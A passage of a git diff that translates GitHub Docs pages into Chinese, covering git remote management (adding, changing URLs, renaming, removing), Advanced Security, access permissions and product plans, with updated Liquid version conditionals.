@@ -23,17 +23,18 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Manage remote repositories
+shortTitle: 管理远程仓库
 ---
-## Adding a remote repository
 
-To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at.
+## 添加远程仓库
 
-The `git remote add` command takes two arguments:
-* A remote name, for example, `origin`
-* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git`
+要新增远程，请在终端上存储仓库的目录中使用 `git remote add` 命令。
 
-For example:
+`git remote add` 命令使用两个参数：
+* 远程命令，如 `origin`
+* 远程 URL，如 `https://{% data variables.command_line.backticks %}/user/repo.git`
+
+例如：
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git
@@ -45,60 +46,60 @@ $ git remote -v
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (push)
 ```
 
-For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+有关使用哪个 URL 的更多信息，请参阅“[关于远程仓库](/github/getting-started-with-github/about-remote-repositories)”。
 
-### Troubleshooting: Remote origin already exists
+### 故障排除：远程原点已存在
 
-This error means you've tried to add a remote with a name that already exists in your local repository.
+此错误消息表示您尝试添加的远程与本地仓库中的远程名称相同。
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
 > fatal: remote origin already exists.
 ```
 
-To fix this, you can:
-* Use a different name for the new remote.
-* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below.
-* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below.
+要修复此问题，您可以:
+* 对新远程使用不同的名称.
+* 在添加新的远程之前，重命名现有的远程仓库。 更多信息请参阅“[重命名远程仓库](#renaming-a-remote-repository)”。
+* 在添加新的远程之前，删除现有的远程仓库。 更多信息请参阅下面的“[删除远程仓库](#removing-a-remote-repository)”。
 
-## Changing a remote repository's URL
+## 更改远程仓库的 URL
 
-The `git remote set-url` command changes an existing remote repository URL.
+`git remote set-url` 命令可更改现有远程仓库的 URL。
 
 {% tip %}
 
-**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+**提示：** 有关 HTTPS 与 SSH URL 之间的差异，请参阅“[关于远程仓库](/github/getting-started-with-github/about-remote-repositories)”
 
 {% endtip %}
 
-The `git remote set-url` command takes two arguments:
+`git remote set-url` 命令使用两个参数：
 
-* An existing remote name. For example, `origin` or `upstream` are two common choices.
-* A new URL for the remote. For example:
-  * If you're updating to use HTTPS, your URL might look like:
+* 现有远程仓库的名称。 例如，`源仓库`或`上游仓库`是两种常见选择。
+* 远程仓库的新 URL。 例如：
+  * 如果您要更新为使用 HTTPS，您的 URL 可能如下所示：
 ```shell
 https://{% data variables.command_line.backticks %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
-  * If you're updating to use SSH, your URL might look like:
+  * 如果您要更新为使用 SSH，您的 URL 可能如下所示：
 ```shell
 git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
 
-### Switching remote URLs from SSH to HTTPS
+### 将远程 URL 从 SSH 切换到 HTTPS
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. 将当前工作目录更改为您的本地仓库。
+3. 列出现有远程仓库以获取要更改的远程仓库的名称。
   ```shell
   $ git remote -v
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command.
+4. 使用 `git remote set-url` 命令将远程的 URL 从 SSH 更改为 HTTPS。
   ```shell
   $ git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. 验证远程 URL 是否已更改。
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -106,25 +107,25 @@ git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+下次对远程仓库执行 `git fetch`、`git pull` 或 `git push` 操作时，您需要提供 GitHub 用户名和密码。 {% data reusables.user_settings.password-authentication-deprecation %}
 
-You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and personal access token every time it talks to GitHub.
+您可以[使用凭据小助手](/github/getting-started-with-github/caching-your-github-credentials-in-git)让 Git 在每次与 GitHub 会话时记住您的 GitHub 用户名和个人访问令牌。
 
-### Switching remote URLs from HTTPS to SSH
+### 将远程 URL 从 HTTPS 切换到 SSH
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. 将当前工作目录更改为您的本地仓库。
+3. 列出现有远程仓库以获取要更改的远程仓库的名称。
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command.
+4. 使用 `git remote set-url` 命令将远程的 URL 从 HTTPS 更改为 SSH。
   ```shell
   $ git remote set-url origin git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. 验证远程 URL 是否已更改。
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -132,106 +133,105 @@ You can [use a credential helper](/github/getting-started-with-github/caching-yo
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-### Troubleshooting: No such remote '[name]'
+### 故障排除：没有该远程 '[name]'
 
-This error means that the remote you tried to change doesn't exist:
+此错误表示您尝试更改的远程不存在：
 
 ```shell
 $ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife
 > fatal: No such remote 'sofake'
 ```
 
-Check that you've correctly typed the remote name.
+检查您是否正确键入了远程仓库的名称。
 
-## Renaming a remote repository
+## 重命名远程仓库
 
-Use the `git remote rename` command to rename an existing remote.
+使用 `git remote rename` 命令可重命名现有的远程。
 
-The `git remote rename` command takes two arguments:
-* An existing remote name, for example, `origin`
-* A new name for the remote, for example, `destination`
+`git remote rename` 命令使用两个参数：
+* 现有的远程名称，例如 `origin`
+* 远程的新名称，例如 `destination`
 
-## Example
+## 示例
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+以下示例假设您[使用 HTTPS 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)，即推荐使用的方法。
 
 ```shell
 $ git remote -v
-# View existing remotes
+# 查看现有远程
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 
 $ git remote rename origin destination
-# Change remote name from 'origin' to 'destination'
+# 将远程名称从 'origin' 更改为 'destination'
 
 $ git remote -v
-# Verify remote's new name
+# 验证远程的新名称
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]'
+### 故障排除：无法将配置部分 'remote.[old name]' 重命名为 'remote.[new name]'
 
 This error means that the old remote name you typed doesn't exist.
 
-You can check which remotes currently exist with the `git remote -v` command:
+您可以使用 `git remote -v` 命令检查当前存在哪些远程：
 
 ```shell
 $ git remote -v
-# View existing remotes
+# 查看现有远程
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Remote [new name] already exists
+### 故障排除：远程 [new name] 已存在
 
-This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote.
+此错误表示您要使用的远程名称已经存在。 要解决此问题，使用不同的远程名称，或重命名原始远程。
 
-## Removing a remote repository 
+## 删除远程仓库
 
-Use the `git remote rm` command to remove a remote URL from your repository.
+使用 `git remote rm` 命令可从仓库中删除远程 URL。
 
-The `git remote rm` command takes one argument:
-* A remote name, for example, `destination`
+`git remote rm` 命令使用一个参数：
+* 远程名称，例如 `destination`
 
-## Example
+## 示例
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+以下示例假设您[使用 HTTPS 克隆](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)，即推荐使用的方法。
 
 ```shell
 $ git remote -v
-# View current remotes
+# 查看当前远程
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (push)
 
 $ git remote rm destination
-# Remove remote
+# 删除远程
 $ git remote -v
-# Verify it's gone
+# 验证其已删除
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 ```
 
 {% warning %}
 
-**Note**: `git remote rm` does not delete the remote repository from the server.  It simply
-removes the remote and its references from your local repository.
+**注**：`git remote rm` 不会从服务器中删除远程仓库。  它只是从本地仓库中删除远程及其引用。
 
 {% endwarning %}
 
-### Troubleshooting: Could not remove config section 'remote.[name]'
+### 故障排除：无法删除配置部分 'remote.[name]'
 
-This error means that the remote you tried to delete doesn't exist:
+此错误表示您尝试删除的远程不存在：
 
 ```shell
 $ git remote rm sofake
 > error: Could not remove config section 'remote.sofake'
 ```
 
-Check that you've correctly typed the remote name.
+检查您是否正确键入了远程仓库的名称。
 
-## Further reading
+## 延伸阅读
 
-- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- _Pro Git_ 书籍中的“[使用远程”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
diff --git a/translations/zh-CN/content/get-started/index.md b/translations/zh-CN/content/get-started/index.md
index 8131599b42..3532e3373b 100644
--- a/translations/zh-CN/content/get-started/index.md
+++ b/translations/zh-CN/content/get-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub
-shortTitle: Get started
-intro: 'Learn how to start building, shipping, and maintaining software with {% data variables.product.prodname_dotcom %}. Explore our products, sign up for an account, and connect with the world''s largest development community.'
+title: 开始使用 GitHub
+shortTitle: 入门
+intro: '了解如何开始构建、运输和维护具有 {% data variables.product.prodname_dotcom %} 的软件。 了解我们的产品，注册一个帐户，与世界上最大的发展社区建立联系。'
 redirect_from:
   - /categories/54/articles
   - /categories/bootcamp
@@ -61,3 +61,4 @@ children:
   - /getting-started-with-git
   - /using-git
 ---
+
diff --git a/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md
index d99e76f16a..c8b27e59df 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md
@@ -16,9 +16,9 @@ shortTitle: GitHub Advanced Security
 ---
 ## About {% data variables.product.prodname_GH_advanced_security %}
 
-{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a license for {% data variables.product.prodname_GH_advanced_security %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}.
+{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
 
-{% ifversion fpt or ghes > 3.0 or ghec %}For more information about purchasing {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% endif %}
+{% ifversion ghes > 3.0 or ghec %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% elsif fpt %}To purchase a {% data variables.product.prodname_GH_advanced_security %} license, you must be using {% data variables.product.prodname_enterprise %}. For information about upgrading to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_advanced_security %}, see "[GitHub's products](/get-started/learning-about-github/githubs-products)" and "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
 
 ## About {% data variables.product.prodname_advanced_security %} features
 
@@ -32,45 +32,49 @@ A {% data variables.product.prodname_GH_advanced_security %} license provides th
 - **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
 {% endif %}
 
+{% ifversion ghec or ghes > 3.1 %}
+- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+{% endif %}
+
 For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-{% ifversion ghes or ghec %}
+{% ifversion fpt or ghec %}
+{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. They also have access an organization-level security overview. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).{% endif %}
+{% endif %}
 
+{% ifversion ghes or ghec %}
 ## Deploying GitHub Advanced Security in your enterprise
 
-To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level, see "[Overview of {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
+To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level, see "[Overview of {% data variables.product.prodname_GH_advanced_security %} deployment](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
 
 To review the rollout phases we recommended in more detail, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)."
-
 {% endif %}
 
-{% ifversion ghes or ghae %}
-## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.product_name %}
+{% ifversion not fpt %}
+## Enabling {% data variables.product.prodname_advanced_security %} features
 
-{% ifversion ghes %}
-The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features)."
-{% endif %}
+{%- ifversion ghes %}
+The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features).
 
-Once your system is set up, you can enable and disable these features at the organization or repository level. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+Once your system is set up, you can enable and disable these features at the organization or repository level.
 
-{% endif %}
+{%- elsif ghec %}
+For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. 
 
-{% ifversion not ghae %}
-## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_dotcom_the_website %}
+For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. 
 
-For public repositories on {% data variables.product.prodname_dotcom_the_website %}, these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public.
+{%- elsif ghae %}
+You can enable and disable these features at the organization or repository level.
+{%- endif %}
+For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
 
-For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
+{% ifversion ghec or ghes > 3.0 %}
 If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+{% endif %}
 
 {% endif %}
 
 {% ifversion ghec or ghes > 3.0 or ghae  %}
-
 ## Further reading
 
 - "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
diff --git a/translations/zh-CN/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/zh-CN/content/get-started/learning-about-github/about-versions-of-github-docs.md
index 71486683c9..dae15bbb0d 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/about-versions-of-github-docs.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/about-versions-of-github-docs.md
@@ -7,7 +7,7 @@ shortTitle: Docs versions
 
 ## About versions of {% data variables.product.prodname_docs %}
 
-{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. 更多信息请参阅“[{% data variables.product.company_short %} 的产品](/get-started/learning-about-github/githubs-products)”。
 
 This website, {% data variables.product.prodname_docs %}, provides documentation for all of {% data variables.product.company_short %}'s products. If the content you're reading applies to more than one product, you can choose the version of the documentation that's relevant to you by selecting the product you're currently using.
 
@@ -35,7 +35,7 @@ In a wide browser window, there is no text that immediately follows the {% data
 
 ![Screenshot of the address bar and the {% data variables.product.prodname_dotcom_the_website %} header in a browser](/assets/images/help/docs/header-dotcom.png)
 
-On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. For more information, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 帐户的类型](/get-started/learning-about-github/types-of-github-accounts)”。
 
 If you don't know whether an organization uses {% data variables.product.prodname_ghe_cloud %}, ask an organization owner. For more information, see "[Viewing people's roles in an organization](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization)."
 
diff --git a/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md
index 07127770d3..fcd1370be3 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -1,5 +1,5 @@
 ---
-title: Access permissions on GitHub
+title: GitHub 上的访问权限
 redirect_from:
   - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do
   - /articles/what-are-the-different-types-of-team-permissions
@@ -16,39 +16,41 @@ versions:
 topics:
   - Permissions
   - Accounts
-shortTitle: Access permissions
+shortTitle: 访问权限
 ---
 
 ## About access permissions on {% data variables.product.prodname_dotcom %}
 
-{% data reusables.organizations.about-roles %} 
+{% data reusables.organizations.about-roles %}
 
 Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-## Personal user accounts
+## 个人用户帐户
 
-A repository owned by a user account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)."
+用户帐户拥有的仓库有两种权限级别：*仓库所有者*和*协作者*。 更多信息请参阅“[用户帐户仓库的权限级别](/articles/permission-levels-for-a-user-account-repository)”。
 
-## Organization accounts
+## 组织帐户
 
-Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see:
+组织成员可以是*所有者*{% ifversion fpt or ghec %}、*帐单管理员*{% endif %}或*成员*角色。 所有者对组织具有完全管理权限{% ifversion fpt or ghec %}，而帐单管理员负责管理帐单设置{% endif %}。 成员是其他每个人的默认角色。 您可以通过团队一次管理多个成员的访问权限。 更多信息请参阅：
 - "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- "[组织的项目板权限](/articles/project-board-permissions-for-an-organization)"
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[About teams](/articles/about-teams)"
+- "[关于团队](/articles/about-teams)"
 
-{% ifversion fpt or ghec %}
-
-## Enterprise accounts
-
-*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-
-If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+## 企业帐户
 
+{% ifversion fpt %}
 {% data reusables.gated-features.enterprise-accounts %}
 
+For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. 更多信息请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。
+
+{% ifversion ghec %}
+If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
+{% endif %}
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- "[{% data variables.product.prodname_dotcom %} 帐户的类型](/articles/types-of-github-accounts)"
diff --git a/translations/zh-CN/content/get-started/learning-about-github/githubs-products.md b/translations/zh-CN/content/get-started/learning-about-github/githubs-products.md
index a45107bd4c..9256eedebf 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/githubs-products.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/githubs-products.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's products
-intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.'
+title: GitHub 的产品
+intro: '{% data variables.product.prodname_dotcom %} 的产品和定价计划概述。'
 redirect_from:
   - /articles/github-s-products
   - /articles/githubs-products
@@ -18,69 +18,70 @@ topics:
   - Desktop
   - Security
 ---
-## About {% data variables.product.prodname_dotcom %}'s products
+
+## 关于 {% data variables.product.prodname_dotcom %} 的产品
 
 {% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to user accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+您可以在 <{% data variables.product.pricing_url %}> 上查看每款产品的价格和完整功能列表。 {% data reusables.products.product-roadmap %}
 
 When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-## {% data variables.product.prodname_free_user %} for user accounts
+## 用户帐户的 {% data variables.product.prodname_free_user %}
 
-With {% data variables.product.prodname_free_team %} for user accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set.
+通过用户帐户的 {% data variables.product.prodname_free_team %}，可与无限的协作者合作处理功能完全的无限公共仓库，或者是功能有限的无限私有仓库，
 
-With {% data variables.product.prodname_free_user %}, your user account includes:
+通过 {% data variables.product.prodname_free_user %}，用户帐户可包含：
 - {% data variables.product.prodname_gcf %}
 - {% data variables.product.prodname_dependabot_alerts %}
-- Two-factor authentication enforcement
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- 双重身份验证
+- 2,000 {% data variables.product.prodname_actions %} 分钟
+- 500MB {% data variables.product.prodname_registry %} 存储空间
 
 ## {% data variables.product.prodname_pro %}
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_pro %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
-  - Auto-linked references
+除了可用于用户帐户的 {% data variables.product.prodname_free_user %} 的功能之外，{% data variables.product.prodname_pro %} 还包含：
+- 通过电子邮件提供的 {% data variables.contact.github_support %}
+- 3,000 {% data variables.product.prodname_actions %} 分钟
+- 2GB {% data variables.product.prodname_registry %} 存储空间
+- 私有仓库中的高级工具和洞察力：
+  - 必需拉取请求审查
+  - 多个拉取请求审查者
+  - 自动链接的引用
   - {% data variables.product.prodname_pages %}
   - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
+  - 受保护分支
+  - 代码所有者
+  - 仓库洞察图：脉冲、贡献者、流量、提交、代码频率、网络和复刻
 
-## {% data variables.product.prodname_free_team %} for organizations
+## 组织的 {% data variables.product.prodname_free_team %}
 
-With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set.
